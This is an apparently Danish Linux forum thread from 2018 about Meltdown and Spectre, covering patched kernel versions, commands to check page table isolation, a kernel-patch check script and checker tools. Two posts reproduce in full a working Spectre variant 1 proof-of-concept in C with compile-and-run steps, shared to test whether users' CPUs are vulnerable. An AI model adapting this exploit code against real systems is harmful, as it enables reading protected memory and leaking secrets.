Meltdown og Spectre
Efter de seneste sårbarhed, Meltdown og Spectre,
https://www.version2.dk/artikel/meltdown-spectre-enorme-sikkerhedshulle…
er der nye patchede kerner klar, eller på vej.
kernel-4.14.11
kernel-4.14.12
Kernel- 4.4.110
Kernel-4.9.75
Jeg har brugt kernel-4.14.11, et par dage nu, uden nogen mærkbar nedgang i ydelse.
Kernel 4.14.13,
4.9.76, og
4.4.111
er lige udgivet med bedre patches.
https://www.version2.dk/artikel/meltdown-spectre-enorme-sikkerhedshulle…
er der nye patchede kerner klar, eller på vej.
kernel-4.14.11
kernel-4.14.12
Kernel- 4.4.110
Kernel-4.9.75
Jeg har brugt kernel-4.14.11, et par dage nu, uden nogen mærkbar nedgang i ydelse.
Kernel 4.14.13,
4.9.76, og
4.4.111
er lige udgivet med bedre patches.
Kommentarer18
Re: Meltdown og Spectre
Det skal jo somme tider gå galt, og da det foregår i hardwaren, er der ingen software patches, der kan redde os. I hvert fald kun i ret begrænset omfang.
Hvad gør vi så? Venter 2-3 år på ny hardware?
Går tilbage (20-25 år) til hardware uden disse problemer?
Bygger vores egne computere?
Går tilbage til papir og blyant?
Lader som ingenting?
https://www.raspberrypi.org/blog/why-raspberry-pi-isnt-vulnerable-to-sp…
beskriver, hvorfor RaspberryPi ikke er påvirket, men er samtidig en god beskrivelse af selve problemet, og hvordan det er opstået.
Og bundlinien er: Jagten på ydelse uden tanke på sikkerhed.
Læs også https://www.version2.dk/blog/reflektioner-at-stole-paa-hardware-1083935
Jeg tror ikke nye kernels
https://www.dropbox.com/s/18q561i55l1zr4w/spectre-2018-01-08_04.42.06.m…
Min mini testGammel
Gammel kerne:
uname -r
4.4.55-pclos1
$ dmesg -H | grep 'page tables isolation'
>Ingen output<
$ cat /proc/cpuinfo | grep pti
fpu_exception : yes
fpu_exception : yes
Ny kerne
uname -r
4.14.12-pclos1
$ dmesg -H | grep 'page tables isolation'
[ +0,000000] Kernel/User page tables isolation: enabled
$ cat /proc/cpuinfo | grep pti
fpu_exception : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good nopl cpuid aperfmperf pni dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm sse4_1 lahf_lm pti tpr_shadow vnmi flexpriority dtherm ida
fpu_exception : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good nopl cpuid aperfmperf pni dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm sse4_1 lahf_lm pti tpr_shadow vnmi flexpriority dtherm ida
flags :pti
Klogere hoveder, må vurdere værdien af det.
#3Hvad siger den så til
Hvad siger den så til dette her script (navngiv det spectre.c).
Det skal compiles først:
gcc -o spectre spectre.c
og køres i terminalen i mappen scriptet befinder sig i: ./spectre
#include
#include
#include
#ifdef _MSC_VER
#include /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include /* for rdtscp and clflush */
#endif
/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {
1,
2,
3,
4,
5,
6,
7,
8,
9,
10,
11,
12,
13,
14,
15,
16
};
uint8_t unused2[64];
uint8_t array2[256 * 512];
char * secret = "The Magic Words are Squeamish Ossifrage.";
uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
void victim_function(size_t x) {
if (x < array1_size) {
temp &= array2[array1[x] * 512];
}
}
/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */
/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t * addr;
for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--) {
/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush( & array1_size);
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
/* Call the victim! */
victim_function(x);
}
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = & array2[mix_i * 512];
time1 = __rdtscp( & junk); /* READ TIMER */
junk = * addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t) j;
score[0] = results[j];
value[1] = (uint8_t) k;
score[1] = results[k];
}
int main(int argc,
const char * * argv) {
size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
int i, score[2], len = 40;
uint8_t value[2];
for (i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
if (argc == 3) {
sscanf(argv[1], "%p", (void * * )( & malicious_x));
malicious_x -= (size_t) array1; /* Convert input value into a pointer */
sscanf(argv[2], "%d", & len);
}
printf("Reading %d bytes:\n", len);
while (--len >= 0) {
printf("Reading at malicious_x = %p... ", (void * ) malicious_x);
readMemoryByte(malicious_x++, value, score);
printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
printf("0x%02X=’%c’ score=%d ", value[0],
(value[0] > 31 && value[0] < 127 ? value[0] : "?"), score[0]);
if (score[1] > 0)
printf("(second best: 0x%02X score=%d)", value[1], score[1]);
printf("\n");
}
return (0);
}
Edit: Fejlen i linjen; #define CACHE_HIT_THRESHOLD (80) er rettet.
#4Som sagt - Klogere
Som sagt - Klogere hoveder, må...............
Du kan evt. eksperimentere med:
https://www.pclinuxos.com/forum/index.php/topic,144838.msg1237161.html#…
4.14.12 har forladt test.
#5Tak for svaret, men jeg
Tak for svaret, men jeg forstår ikke hvad du mener.
Jeg vil henvise til: https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6/41b… hvor forfatterens script indeholder en fejl (linje 50), beskrevet af kuhar i kommentarerne, der er rette i #4 som forhindrede GCC i at compile spectre.c
Det kan være aktuelt også at læse kommentaren fra crozone
#6
Lidt
Lidt forsigtighed.
Scriptet er sikkert helt i orden.
Jeg prøver bare at afholde mig fra scripts, jeg ikke forstår fuldt ud.
Det begrænser selvfølgeligt, mit udvalg. Jeg må læse videre...
#7
Naturligvis. Til
Naturligvis. Til oplysning, uden garanti for jeg selv forstår, så vil jeg alligevel nævne at jeg aldrig, under nogen omstændighed, vil anbefale at køre et script jeg ikke først selv har testet. Blot til oplysning.
Jeg er hverken programmør eller hardware-mand, kun system administrator. Derfor har jeg et test miljø skulle jeg kvaje mig. Det her script er testet på både en virtuelt installeret Manjaro og en hardware installeret Mint 18.2. Begge, ifølge scriptet, fortæller CPU sårbarhed.
Virtuelle maskiner synes iøvrigt i stand til at udnytte sårbarhederne i maskinernes hardware CPU.
Naturligvis. Til oplysning,
"Naturligvis. Til oplysning, uden garanti for jeg selv forstår, så vil jeg alligevel nævne at jeg aldrig, under nogen omstændighed, vil anbefale at køre et script jeg ikke først selv har testet. Blot til oplysning."
Jeg har aldrig været i tvivl om dine gode hensigter, frogmaster, selv om det jeg skrev, måske kunne opfattes anderledes.
Det var ikke meningen.
Forsigtigheden skyldes mere min egen utilstrækkelighed.
Efter et besøg på Github, er jeg da også bare "forvirret på et højer plan".
Hvad er bedst "score=2" eller score=997?
Nå pyt -
Du skal leve af det.
Jeg skal bare leve med det.
Det er min oplevelse at mich
Det er min oplevelse at mich beskriver problematikken bedst muligt i #1 på en kort facon.
Det ser ikke ud til der er noget at stille op udover at håbe på, og kræve, at Intel og AMD dokumentere deres CPU i overensstemmelse med open source over tid.
Et andet script fra: https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6/41b…
#include
#include
#include
#include
#include
#ifdef _MSC_VER
#include /* for rdtscp and clflush */
#pragma optimize("gt", on)
#else
#include /* for rdtscp and clflush */
#endif
/********************************************************************
Compilation & Execution Instruction
linux# gcc -std=c99 -march=native -pthread -O0 spectre.c -o spectre && ./spectre
macos# clang -O0 spectre.c -o spectre && ./spectre
********************************************************************/
/********************************************************************
Defaults
These will likely require tuning per platform
********************************************************************/
/* Default = 80; assume cache hit if time <= threshold */
#define CACHE_HIT_THRESHOLD 80
/* Default = 999; attempts to hit cache */
#define MAX_TRIES 2500
/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16};
uint8_t unused2[64];
uint8_t array2[256 * 512];
char secret[] = "The Magic Words are Squeamish Ossifrage.";
uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
void victim_function(size_t x) {
if (x < array1_size) {
temp &= array2[array1[x] * 512];
}
}
/********************************************************************
Thread code
********************************************************************/
int counter_thread_ended = 0;
uint32_t counter = 0;
void *counter_function(void *x_void_ptr) {
while (!counter_thread_ended) {
counter++;
}
printf("counter thread finished\n");
return NULL;
}
/********************************************************************
Analysis code
********************************************************************/
/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i;
unsigned int junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t *addr;
for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = MAX_TRIES; tries > 0; tries--) {
/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x)
*/
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush(&array1_size);
for (volatile int z = 0; z < 100; z++) {
} /* Delay (can also mfence) */
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
/* Call the victim! */
victim_function(x);
}
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = &array2[mix_i * 512];
// time1 = __rdtsc(); /* READ TIMER */
time1 = counter; /* READ TIMER */
junk = *addr; /* MEMORY ACCESS TO TIME */
// time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
time2 = counter - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) ||
(results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t)j;
score[0] = results[j];
value[1] = (uint8_t)k;
score[1] = results[k];
}
int main(int argc, const char **argv) {
size_t malicious_x =
(size_t)(secret - (char *)array1); /* default for malicious_x */
int i, score[2], len = 40, selected_id = 0, not_selected_id = 1;
char *not_selected_label = "second";
char recovered_secret[sizeof(secret)] = "";
uint8_t value[2];
char value_normalised[2];
printf("\n");
printf("CACHE_HIT_THRESHOLD = %d\n", CACHE_HIT_THRESHOLD);
printf(" MAX_TRIES = %d\n", MAX_TRIES);
printf("\n");
printf(" Size of secret is %lu\n", sizeof(secret));
printf("Size of recovered_secret is %lu\n", sizeof(recovered_secret));
printf("\n");
printf(" Original secret: '%s'\n", secret);
printf("Recovered secret: '%s'\n", recovered_secret);
printf("\n");
// Setup the counter thread
pthread_t counter_thread;
if (pthread_create(&counter_thread, NULL, counter_function, NULL)) {
fprintf(stderr, "Error creating thread\n");
return 1;
}
// End Setup
for (i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
if (argc == 3) {
sscanf(argv[1], "%p", (void **)(&malicious_x));
malicious_x -= (size_t)array1; /* Convert input value into a pointer */
sscanf(argv[2], "%d", &len);
}
printf("Reading %d bytes:\n", len);
while (--len >= 0) {
printf("Reading at malicious_x = %p... ", (void *)malicious_x);
readMemoryByte(malicious_x++, value, score);
printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
selected_id = 0;
not_selected_id = 1;
not_selected_label = "second";
value_normalised[0] = (value[0] > 31 && value[0] < 127) ? value[0] : '?';
value_normalised[1] = (value[1] > 31 && value[1] < 127) ? value[1] : '?';
if (value_normalised[0] == '?' && value_normalised[1] != '?') {
selected_id = 1;
not_selected_id = 0;
not_selected_label = "first";
}
recovered_secret[strlen(recovered_secret)] = value_normalised[selected_id];
if (score[1] == 0) {
printf("0x%02X=’%c’ score=%d ", value[selected_id],
value_normalised[selected_id], score[selected_id]);
} else {
printf("0x%02X=’%c’ score=%d ", value[selected_id],
value_normalised[selected_id], score[selected_id]);
printf("(’%c|%c’ %6s: 0x%02X=’%c’ score=%d)", value_normalised[0],
value_normalised[1], not_selected_label, value[not_selected_id],
value_normalised[not_selected_id], score[not_selected_id]);
}
printf("\n");
}
// Start: Exit counter thread
counter_thread_ended = 1;
if (pthread_join(counter_thread, NULL)) {
fprintf(stderr, "Error joining thread\n");
return 2;
}
// End: Exit counter thread
printf("\n");
printf(" Original secret: '%s'\n", secret);
printf("Recovered secret: '%s'\n", recovered_secret);
printf("\n");
return (0);
}
----------
Meltdown kan kernel patches:
#!/bin/bash
res="$(zcat /proc/config.gz 2>/dev/null | cat - /boot/config-`uname -r` 2>/dev/null)"
if [[ -z "$res" ]]; then
echo "Uh well you don't have a config so... I don't know?"
exit 0
fi
res="$(echo "$res" | grep CONFIG_PAGE_TABLE_ISOLATION)"
if [[ -z "$res" ]]; then
echo "[!] Kernel not patched [!]"
exit 0
fi
echo "Kernel is patched :)"
res="$(cat /proc/cpuinfo | grep bug | uniq | grep cpu_insecure)"
if [[ -z "$res" ]]; then
echo "Good news! Your CPU is not vulnerable to Meltdown! :D"
exit 0
fi
echo "Your CPU is vulnerable :( But at least you have the patch! :D"
Kør scriptet:
chmod +x check.sh
./check.sh
Kilden er: https://github.com/TheNaterz/MeltdownKernelPatchCheck/
Det ser ikke ud til der
Nej det er noget rigtig møg :( Man kan da heller ikke få fred for de Crackere. lidt om emnet
Spectre and Meltdown explained: What they are, how they work, what's at risk
https://www.csoonline.com/article/3247868/vulnerabilities/spectre-and-m…
Nej det er noget rigtig
For nogen er forskellen mellem crackere og hackere muligvis interessant. De er principielt to helt forskellige "animals", hvorefter internettet blev en worldwide realitet, til en vis grænse blev sammensmeltet.
En cracker beskæftiger sig principielt med programmer, mens en hacker beskæftiger sig med netværk. Man kan ikke tale om de pr. definition er ondsindede eller ej, fordi enhver branche repræsentere individer med både onde og gode individer. Ligesom en slagter, en præst, en politiker med flere, kan have gode eller onde hensigter, så kan crackere og hackere det også.
Blot for at minde om misforståelser pressen, til tider, videregiver. Det paradoksale ved tåbelige journalister, og dem er der en del af, er at de selv pr. definition er hackere (informations hack)... Idioterne blandt dem ved det bare ikke.
Nogle crackere (og hackere) har agendaen at bryde politisk vedtaget proprietær beslutningsproces. De er ikke nødvendigvis ondsindede, men kan være dem der offentliggør proprietæres manglende dokumentation, eksempelvis spectre og meltdown, eller være blandt dem der cracker prorietær software (uden at opnå personlig gevinst), for at bekæmpe alt andet end OpenSource ...
Det er overordentlig aktuelt i den globale verdens demokratiske politiske udvikling, at alle kan kikke disse proprietære over skulderen ... Det er hverken liberal eller socialistisk officiel politik. De er erklærede tilhængere af proprietær konstitution.
Blot for at minde om
Korrekt. Ordet hacker er i sig selv (i mine ører) positivt. Det hedder jo også et hackerspace, lifehacker osv. Hvis man modificerer noget i mindre grad, software såvel som hardware, kan man sige man har lavet et hack osv. Det er også derfor man har begreber som white hat, black hat, grey hat mv.
Det er også derfor man
Yes, og de kan heller ikke kategoriseres, pr def., med onde eller gode hensigter. En såkaldt black hat kan udmærket have velmenende hensigter, såvel som de øvrige ...
Spectre, Meltdown og stribevis af andre eksempler, ville aldrig komme i dagens lys, hvis det ikke skyldes anti-proprietæres agenda, hvor establishment typisk er uden vilje til at demokratisere beslutningsprocessen ved selv at offentliggøre dem.
Med andre ord er velmenende hackere og crackere, medvirkende til at afsløre at establishment generelt er proprietær primitiv, såvel som til at løse problemer establishment har skabt og er skyldig i.
En samtale mellem Linus
>> Is Intel really planning on making this shit architectural? Has
>> anybody talked to them and told them they are f*cking insane?
https://lkml.org/lkml/2018/1/21/192
Du kan køre dette bash for
https://github.com/speed47/spectre-meltdown-checker
Man kan tydeligt se, at det
Kerne 4.4.112-pclos1:
$ cat 4.4.112-pclos1.txt | grep STATUS
> STATUS: VULNERABLE (Kernel source needs to be patched to mitigate the vulnerability)
> STATUS: VULNERABLE (IBRS+IBPB or retpoline+IBPB is needed to mitigate the vulnerability)
> STATUS: NOT VULNERABLE (Mitigation: PTI)
Kerne 4.4.126-pclos1:
cat 4.4.126-pclos1.txt | grep STATUS
> STATUS: NOT VULNERABLE (Mitigation: __user pointer sanitization)
> STATUS: NOT VULNERABLE (Full retpoline is mitigating the vulnerability)
> STATUS: NOT VULNERABLE (Mitigation: PTI)
Sidder du med en Windows
https://www.grc.com/inspectre.htm